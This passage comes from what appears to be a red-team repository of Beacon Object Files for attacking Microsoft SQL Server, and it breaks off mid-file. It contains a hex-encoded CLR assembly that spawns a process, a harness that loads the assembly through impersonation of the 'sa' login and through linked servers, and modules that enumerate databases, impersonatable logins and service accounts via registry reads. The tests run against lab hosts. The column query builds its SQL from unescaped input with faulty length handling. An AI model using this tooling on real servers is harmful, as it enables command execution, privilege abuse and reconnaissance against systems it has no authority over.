0000000000000000000000000004400000004000000000000000000000001002d00000000000400000000000000000000000100b6000000000004000000000000000000000001003600000000000000003c4d6f64756c653e0043726561746550726f636573732e646c6c0053746f72656450726f63656475726573006d73636f726c69620053797374656d004f626a6563740043726561746550726f63657373002e63746f720053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300436f6d70696c6174696f6e52656c61786174696f6e734174747269627574650052756e74696d65436f6d7061746962696c6974794174747269627574650053797374656d2e44617461004d6963726f736f66742e53716c5365727665722e5365727665720053716c50726f6365647572654174747269627574650053797374656d2e446961676e6f73746963730050726f636573730053746172740000176e006f00740065007000610064002e0065007800650000000000e9bbd494c7999b429267cfb509264f810008b77a5c561934e08903000001032000010420010108040100000005000112150e0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010000a42300000000000000000000be230000002000000000000000000000000000000000000000000000b0230000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c02000000000000000000005c0234000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000000000000000000000000000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc010000010053007400720069006e006700460069006c00650049006e0066006f0000009801000001003000300030003000300034006200300000002c0002000100460069006c0065004400650073006300720069007000740069006f006e000000000020000000300008000100460069006c006500560065007200730069006f006e000000000030002e0030002e0030002e003000000044001200010049006e007400650072006e0061006c004e0061006d0065000000430072006500610074006500500072006f0063006500730073002e0064006c006c0000002800020001004c006500670061006c0043006f0070007900720069006700680074000000200000004c00120001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000430072006500610074006500500072006f0063006500730073002e0064006c006c000000340008000100500072006f006400750063007400560065007200730069006f006e00000030002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000030002e0030002e0030002e00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000d03300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; 288 | 289 | internal_printf("============ BASE TEST ============\n\n"); 290 | ExecuteClrAssembly("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "CreateProcess", "18dcee3265e0143d695ef0534ef9ab29f68d772d8b04fb7cfee39275aa1b3501d974591643bcf17f0ca3836d386aea57f09657783f23a70bcce7db2ddfb80f99", bytes); 291 | 292 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 293 | ExecuteClrAssembly("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "CreateProcess", "18dcee3265e0143d695ef0534ef9ab29f68d772d8b04fb7cfee39275aa1b3501d974591643bcf17f0ca3836d386aea57f09657783f23a70bcce7db2ddfb80f99", bytes); 294 | 295 | internal_printf("\n\n============ LINK TEST ============\n\n"); 296 | ExecuteClrAssembly("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "CreateProcess", "18dcee3265e0143d695ef0534ef9ab29f68d772d8b04fb7cfee39275aa1b3501d974591643bcf17f0ca3836d386aea57f09657783f23a70bcce7db2ddfb80f99", bytes); 297 | } 298 | 299 | #endif 300 | -------------------------------------------------------------------------------- /src/SQL/columns/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := columns 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/columns/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckTableColumns(char* server, char* database, char* link, char* impersonate, char* table) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | SQLRETURN ret; 13 | 14 | 15 | if (link == NULL) 16 | { 17 | dbc = ConnectToSqlServer(&env, server, database); 18 | } 19 | else 20 | { 21 | dbc = ConnectToSqlServer(&env, server, NULL); 22 | } 23 | 24 | if (dbc == NULL) { 25 | goto END; 26 | } 27 | 28 | if (link == NULL) 29 | { 30 | internal_printf("[*] Displaying columns from table %s in %s on %s\n\n", table, database, server); 31 | } 32 | else 33 | { 34 | internal_printf("[*] Displaying columns from table %s in %s on %s via %s\n\n", table, database, link, server); 35 | } 36 | 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) { 43 | internal_printf("[!] Error allocating statement handle\n"); 44 | goto END; 45 | } 46 | 47 | if (link == NULL) 48 | { 49 | 50 | // 51 | // Construct USE database statement 52 | // 53 | char* dbPrefix = "USE "; 54 | char* dbSuffix = ";"; 55 | 56 | size_t useStmtSize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(dbSuffix) + 1; 57 | char* useStmt = (char*)intAlloc(useStmtSize * sizeof(char)); 58 | 59 | MSVCRT$strcpy(useStmt, dbPrefix); 60 | MSVCRT$strncat(useStmt, database, useStmtSize - MSVCRT$strlen(useStmt) -1); 61 | MSVCRT$strncat(useStmt, dbSuffix, useStmtSize - MSVCRT$strlen(useStmt) -1); 62 | 63 | if (!HandleQuery(stmt, (SQLCHAR*)useStmt, link, impersonate, FALSE)){ 64 | goto END; 65 | } 66 | 67 | // 68 | // Construct query 69 | // 70 | char* tablePrefix = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS " 71 | "WHERE TABLE_NAME = '"; 72 | char* tableSuffix = "' ORDER BY ORDINAL_POSITION;"; 73 | 74 | size_t querySize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 75 | char* query = (char*)intAlloc(querySize * sizeof(char)); 76 | 77 | MSVCRT$strcpy(query, tablePrefix); 78 | MSVCRT$strncat(query, table, MSVCRT$strlen(query) -1); 79 | MSVCRT$strncat(query, tableSuffix, MSVCRT$strlen(query) -1); 80 | 81 | // 82 | // Run the query 83 | // 84 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 85 | goto END; 86 | } 87 | PrintQueryResults(stmt, TRUE); 88 | 89 | intFree(query); 90 | intFree(useStmt); 91 | } 92 | else 93 | { 94 | // 95 | // Construct query 96 | // 97 | char* dbPrefix = "SELECT COLUMN_NAME FROM "; 98 | char* tablePrefix = ".INFORMATION_SCHEMA.COLUMNS " 99 | "WHERE TABLE_NAME = '"; 100 | char* tableSuffix = "' ORDER BY ORDINAL_POSITION;"; 101 | 102 | size_t querySize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 103 | char* query = (char*)intAlloc(querySize * sizeof(char)); 104 | 105 | MSVCRT$strcpy(query, dbPrefix); 106 | MSVCRT$strncat(query, database, querySize - MSVCRT$strlen(query) -1); 107 | MSVCRT$strncat(query, tablePrefix, querySize - MSVCRT$strlen(query) -1); 108 | MSVCRT$strncat(query, table, querySize - MSVCRT$strlen(query) -1); 109 | MSVCRT$strncat(query, tableSuffix, querySize - MSVCRT$strlen(query) -1); 110 | 111 | // 112 | // Run the query 113 | // 114 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 115 | goto END; 116 | } 117 | PrintQueryResults(stmt, TRUE); 118 | 119 | intFree(query); 120 | } 121 | 122 | END: 123 | ODBC32$SQLCloseCursor(stmt); 124 | DisconnectSqlServer(env, dbc, stmt); 125 | } 126 | 127 | 128 | #ifdef BOF 129 | VOID go( 130 | IN PCHAR Buffer, 131 | IN ULONG Length 132 | ) 133 | { 134 | char* server; 135 | char* database; 136 | char* table; 137 | char* link; 138 | char* impersonate; 139 | 140 | // 141 | // parse beacon args 142 | // 143 | datap parser; 144 | BeaconDataParse(&parser, Buffer, Length); 145 | 146 | server = BeaconDataExtract(&parser, NULL); 147 | database = BeaconDataExtract(&parser, NULL); 148 | table = BeaconDataExtract(&parser, NULL); 149 | link = BeaconDataExtract(&parser, NULL); 150 | impersonate = BeaconDataExtract(&parser, NULL); 151 | 152 | 153 | server = *server == 0 ? "localhost" : server; 154 | database = *database == 0 ? "master" : database; 155 | table = *table == 0 ? NULL : table; 156 | link = *link == 0 ? NULL : link; 157 | impersonate = *impersonate == 0 ? NULL : impersonate; 158 | 159 | if(!bofstart()) 160 | { 161 | return; 162 | } 163 | 164 | if (table == NULL) 165 | { 166 | internal_printf("[!] Table argument is required\n"); 167 | printoutput(TRUE); 168 | return; 169 | } 170 | 171 | if (UsingLinkAndImpersonate(link, impersonate)) 172 | { 173 | return; 174 | } 175 | 176 | CheckTableColumns(server, database, link, impersonate, table); 177 | 178 | printoutput(TRUE); 179 | }; 180 | 181 | #else 182 | 183 | int main() 184 | { 185 | internal_printf("============ BASE TEST ============\n\n"); 186 | CheckTableColumns("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "spt_monitor"); 187 | 188 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 189 | CheckTableColumns("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "spt_monitor"); 190 | 191 | internal_printf("\n\n============ LINK TEST ============\n\n"); 192 | CheckTableColumns("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "spt_monitor"); 193 | } 194 | 195 | #endif 196 | -------------------------------------------------------------------------------- /src/SQL/databases/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := databases 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/databases/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckDatabases(char* server, char* database, char* link, char* impersonate) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | SQLRETURN ret; 13 | 14 | 15 | if (link == NULL) 16 | { 17 | dbc = ConnectToSqlServer(&env, server, database); 18 | } 19 | else 20 | { 21 | dbc = ConnectToSqlServer(&env, server, NULL); 22 | } 23 | 24 | if (dbc == NULL) { 25 | goto END; 26 | } 27 | 28 | if (link == NULL) 29 | { 30 | internal_printf("[*] Enumerating databases on %s\n\n", server); 31 | } 32 | else 33 | { 34 | internal_printf("[*] Enumerating databases on %s via %s\n\n", link, server); 35 | } 36 | 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) { 43 | internal_printf("[!] SQLAllocHandle failed\n"); 44 | goto END; 45 | } 46 | 47 | // 48 | // Run the query 49 | // 50 | SQLCHAR* query = (SQLCHAR*)"SELECT dbid, name, crdate, filename FROM master.dbo.sysdatabases;"; 51 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 52 | goto END; 53 | } 54 | PrintQueryResults(stmt, TRUE); 55 | 56 | END: 57 | ODBC32$SQLCloseCursor(stmt); 58 | DisconnectSqlServer(env, dbc, stmt); 59 | } 60 | 61 | 62 | #ifdef BOF 63 | VOID go( 64 | IN PCHAR Buffer, 65 | IN ULONG Length 66 | ) 67 | { 68 | char* server; 69 | char* database; 70 | char* link; 71 | char* impersonate; 72 | 73 | // 74 | // parse beacon args 75 | // 76 | datap parser; 77 | BeaconDataParse(&parser, Buffer, Length); 78 | 79 | server = BeaconDataExtract(&parser, NULL); 80 | database = BeaconDataExtract(&parser, NULL); 81 | link = BeaconDataExtract(&parser, NULL); 82 | impersonate = BeaconDataExtract(&parser, NULL); 83 | 84 | server = *server == 0 ? "localhost" : server; 85 | database = *database == 0 ? "master" : database; 86 | link = *link == 0 ? NULL : link; 87 | impersonate = *impersonate == 0 ? NULL : impersonate; 88 | 89 | if(!bofstart()) 90 | { 91 | return; 92 | } 93 | 94 | if (UsingLinkAndImpersonate(link, impersonate)) 95 | { 96 | return; 97 | } 98 | 99 | CheckDatabases(server, database, link, impersonate); 100 | 101 | printoutput(TRUE); 102 | }; 103 | 104 | #else 105 | 106 | int main() 107 | { 108 | internal_printf("============ BASE TEST ============\n\n"); 109 | CheckDatabases("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 110 | 111 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 112 | CheckDatabases("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 113 | 114 | internal_printf("\n\n============ LINK TEST ============\n\n"); 115 | CheckDatabases("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 116 | } 117 | 118 | #endif 119 | -------------------------------------------------------------------------------- /src/SQL/impersonate/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := impersonate 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/impersonate/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckImpersonate(char* server, char* database) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLRETURN ret; 12 | 13 | 14 | SQLHDBC dbc = ConnectToSqlServer(&env, server, database); 15 | 16 | if (dbc == NULL) 17 | { 18 | goto END; 19 | } 20 | 21 | internal_printf("[*] Enumerating users that can be impersonated on %s\n\n", server); 22 | 23 | // 24 | // allocate statement handle 25 | // 26 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 27 | if (!SQL_SUCCEEDED(ret)) { 28 | internal_printf("[!] Error allocating statement handle\n"); 29 | goto END; 30 | } 31 | 32 | // 33 | // Run the query 34 | // 35 | SQLCHAR* query = (SQLCHAR*)"SELECT distinct b.name FROM sys.server_permissions a " 36 | "INNER JOIN sys.server_principals b ON a.grantor_principal_id " 37 | "= b.principal_id WHERE a.permission_name = 'IMPERSONATE';"; 38 | if (!ExecuteQuery(stmt, query)) 39 | { 40 | goto END; 41 | } 42 | PrintQueryResults(stmt, TRUE); 43 | 44 | END: 45 | ODBC32$SQLCloseCursor(stmt); 46 | DisconnectSqlServer(env, dbc, stmt); 47 | } 48 | 49 | 50 | #ifdef BOF 51 | VOID go( 52 | IN PCHAR Buffer, 53 | IN ULONG Length 54 | ) 55 | { 56 | char* server = NULL; 57 | char* database = NULL; 58 | 59 | // 60 | // parse beacon args 61 | // 62 | datap parser; 63 | BeaconDataParse(&parser, Buffer, Length); 64 | 65 | server = BeaconDataExtract(&parser, NULL); 66 | database = BeaconDataExtract(&parser, NULL); 67 | 68 | server = *server == 0 ? "localhost" : server; 69 | database = *database == 0 ? "master" : database; 70 | 71 | if(!bofstart()) 72 | { 73 | return; 74 | } 75 | 76 | CheckImpersonate(server, database); 77 | 78 | printoutput(TRUE); 79 | }; 80 | 81 | #else 82 | 83 | int main() 84 | { 85 | internal_printf("============ BASE TEST ============\n\n"); 86 | CheckImpersonate("castelblack.north.sevenkingdoms.local", "master"); 87 | } 88 | 89 | #endif 90 | -------------------------------------------------------------------------------- /src/SQL/info/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := info 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/info/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | typedef struct SQLINFO { 7 | char* ComputerName; 8 | char* DomainName; 9 | char* ServicePid; 10 | char* ServiceName; 11 | char* ServiceAccount; 12 | char* AuthenticationMode; 13 | char* ForcedEncryption; 14 | char* Clustered; 15 | char* SqlServerVersionNumber; 16 | char* SqlServerMajorVersion; 17 | char* SqlServerEdition; 18 | char* SqlServerServicePack; 19 | char* OsArchitecture; 20 | char* OsMachineType; 21 | char* OsVersion; 22 | char* OsVersionNumber; 23 | char* CurrentLogin; 24 | BOOL IsSysAdmin; 25 | char* ActiveSessions; 26 | } SQLINFO; 27 | 28 | void FreeAttr(char* attr) { 29 | if (attr == NULL) { 30 | return; 31 | } 32 | 33 | intFree(attr); 34 | } 35 | 36 | void FreeSqlInfo(SQLINFO* info) { 37 | if (info == NULL) { 38 | return; 39 | } 40 | 41 | FreeAttr(info->ComputerName); 42 | FreeAttr(info->DomainName); 43 | FreeAttr(info->ServicePid); 44 | FreeAttr(info->ServiceName); 45 | FreeAttr(info->ServiceAccount); 46 | FreeAttr(info->AuthenticationMode); 47 | FreeAttr(info->ForcedEncryption); 48 | FreeAttr(info->Clustered); 49 | FreeAttr(info->SqlServerVersionNumber); 50 | FreeAttr(info->SqlServerMajorVersion); 51 | FreeAttr(info->SqlServerEdition); 52 | FreeAttr(info->SqlServerServicePack); 53 | FreeAttr(info->OsArchitecture); 54 | FreeAttr(info->OsMachineType); 55 | FreeAttr(info->OsVersion); 56 | FreeAttr(info->OsVersionNumber); 57 | FreeAttr(info->CurrentLogin); 58 | FreeAttr(info->ActiveSessions); 59 | } 60 | 61 | 62 | void GetSQLInfo(char* server, char* database) { 63 | SQLHENV env = NULL; 64 | SQLHSTMT stmt = NULL; 65 | SQLRETURN ret; 66 | SQLINFO info; 67 | memset(&info, 0, sizeof(SQLINFO)); 68 | 69 | SQLHDBC dbc = ConnectToSqlServer(&env, server, database); 70 | 71 | if (dbc == NULL) 72 | { 73 | goto END; 74 | } 75 | 76 | internal_printf("[*] Extracting SQL server information\n"); 77 | 78 | // 79 | // allocate statement handle 80 | // 81 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 82 | if (!SQL_SUCCEEDED(ret)) 83 | { 84 | internal_printf("[!] Error allocating statement handle\n"); 85 | goto END; 86 | } 87 | 88 | // 89 | // first query - IsSysAdmin 90 | // 91 | SQLCHAR* query = (SQLCHAR*)"SELECT IS_SRVROLEMEMBER('sysadmin');"; 92 | if (!ExecuteQuery(stmt, query)) 93 | { 94 | goto END; 95 | } 96 | char* result = GetSingleResult(stmt, FALSE); 97 | if ( result[0] == '1') 98 | { 99 | info.IsSysAdmin = TRUE; 100 | } 101 | else 102 | { 103 | info.IsSysAdmin = FALSE; 104 | } 105 | 106 | intFree(result); 107 | ODBC32$SQLCloseCursor(stmt); 108 | 109 | // 110 | // second query - DomainName 111 | // 112 | query = (SQLCHAR*)"SELECT @@SERVERNAME;"; 113 | if (!ExecuteQuery(stmt, query)) 114 | { 115 | goto END; 116 | } 117 | info.ComputerName = GetSingleResult(stmt, FALSE); 118 | ODBC32$SQLCloseCursor(stmt); 119 | 120 | // 121 | // third query - DomainName 122 | // 123 | query = (SQLCHAR*)"SELECT default_domain();"; 124 | if (!ExecuteQuery(stmt, query)) 125 | { 126 | goto END; 127 | } 128 | info.DomainName = GetSingleResult(stmt, FALSE); 129 | ODBC32$SQLCloseCursor(stmt); 130 | 131 | // 132 | // fourth query - ServicePid 133 | // 134 | query = (SQLCHAR*)"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('processid'));"; 135 | if (!ExecuteQuery(stmt, query)) 136 | { 137 | goto END; 138 | } 139 | info.ServicePid = GetSingleResult(stmt, FALSE); 140 | ODBC32$SQLCloseCursor(stmt); 141 | 142 | // 143 | // fifth query - ServiceName 144 | // 145 | query = (SQLCHAR*)"DECLARE @SQLServerServiceName varchar(250)\n" 146 | "DECLARE @SQLServerInstance varchar(250)\n" 147 | "if @@SERVICENAME = 'MSSQLSERVER'\n" 148 | "BEGIN\n" 149 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER'\n" 150 | "set @SQLServerServiceName = 'MSSQLSERVER'\n" 151 | "END\n" 152 | "ELSE\n" 153 | "BEGIN\n" 154 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQL$'+cast(@@SERVICENAME as varchar(250))\n" 155 | "set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))\n" 156 | "END\n" 157 | "SELECT @SQLServerServiceName;"; 158 | if (!ExecuteQuery(stmt, query)) 159 | { 160 | goto END; 161 | } 162 | info.ServiceName = GetSingleResult(stmt, FALSE); 163 | ODBC32$SQLCloseCursor(stmt); 164 | 165 | // 166 | // sixth query - ServiceAccount 167 | // 168 | query = (SQLCHAR*)"DECLARE @SQLServerInstance varchar(250)\n" 169 | "if @@SERVICENAME = 'MSSQLSERVER'\n" 170 | "BEGIN\n" 171 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER'\n" 172 | "END\n" 173 | "ELSE\n" 174 | "BEGIN\n" 175 | "set @SQLServerInstance = 'SYSTEM\\CurrentControlSet\\Services\\MSSQL$'+cast(@@SERVICENAME as varchar(250))\n" 176 | "END\n" 177 | "DECLARE @ServiceAccountName varchar(250)\n" 178 | "EXECUTE master.dbo.xp_instance_regread\n" 179 | "N'HKEY_LOCAL_MACHINE', @SQLServerInstance,\n" 180 | "N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'\n" 181 | "SELECT @ServiceAccountName;"; 182 | if (!ExecuteQuery(stmt, query)) 183 | { 184 | goto END; 185 | } 186 | info.ServiceAccount = GetSingleResult(stmt, FALSE); 187 | ODBC32$SQLCloseCursor(stmt); 188 | 189 | // 190 | // seventh query - AuthenticationMode 191 | // 192 | query = (SQLCHAR*)"DECLARE @AuthenticationMode INT\n" 193 | "EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',\n" 194 | "N'Software\\Microsoft\\MSSQLServer\\MSSQLServer',\n" 195 | "N'LoginMode', @AuthenticationMode OUTPUT\n" 196 | "(SELECT CASE @AuthenticationMode\n" 197 | "WHEN 1 THEN 'Windows Authentication'\n" 198 | "WHEN 2 THEN 'Windows and SQL Server Authentication'\n" 199 | "ELSE 'Unknown'\n" 200 | "END);"; 201 | if (!ExecuteQuery(stmt, query)) 202 | { 203 | goto END; 204 | } 205 | info.AuthenticationMode = GetSingleResult(stmt, FALSE); 206 | ODBC32$SQLCloseCursor(stmt); 207 | 208 | // 209 | // eighth query - ForcedEncryption 210 | // 211 | query = (SQLCHAR*)"BEGIN TRY\n" 212 | "DECLARE @ForcedEncryption INT\n" 213 | "EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',\n" 214 | "N'SOFTWARE\\MICROSOFT\\Microsoft SQL Server\\MSSQLServer\\SuperSocketNetLib',\n" 215 | "N'ForceEncryption', @ForcedEncryption OUTPUT\n" 216 | "END TRY\n" 217 | "BEGIN CATCH \n" 218 | "END CATCH\n" 219 | "SELECT @ForcedEncryption;"; 220 | if (!ExecuteQuery(stmt, query)) 221 | { 222 | goto END; 223 | } 224 | info.ForcedEncryption = GetSingleResult(stmt, FALSE); 225 | ODBC32$SQLCloseCursor(stmt); 226 | 227 | // 228 | // ninth query - Clustered 229 | // 230 | query = (SQLCHAR*)"SELECT CASE SERVERPROPERTY('IsClustered')\n" 231 | "WHEN 0\n" 232 | "THEN 'No'\n" 233 | "ELSE 'Yes'\n" 234 | "END"; 235 | if (!ExecuteQuery(stmt, query)) 236 | { 237 | goto END; 238 | } 239 | info.Clustered = GetSingleResult(stmt, FALSE); 240 | ODBC32$SQLCloseCursor(stmt); 241 | 242 | // 243 | // 10th query - SqlServerVesionNumber 244 | // 245 | query = (SQLCHAR*)"SELECT 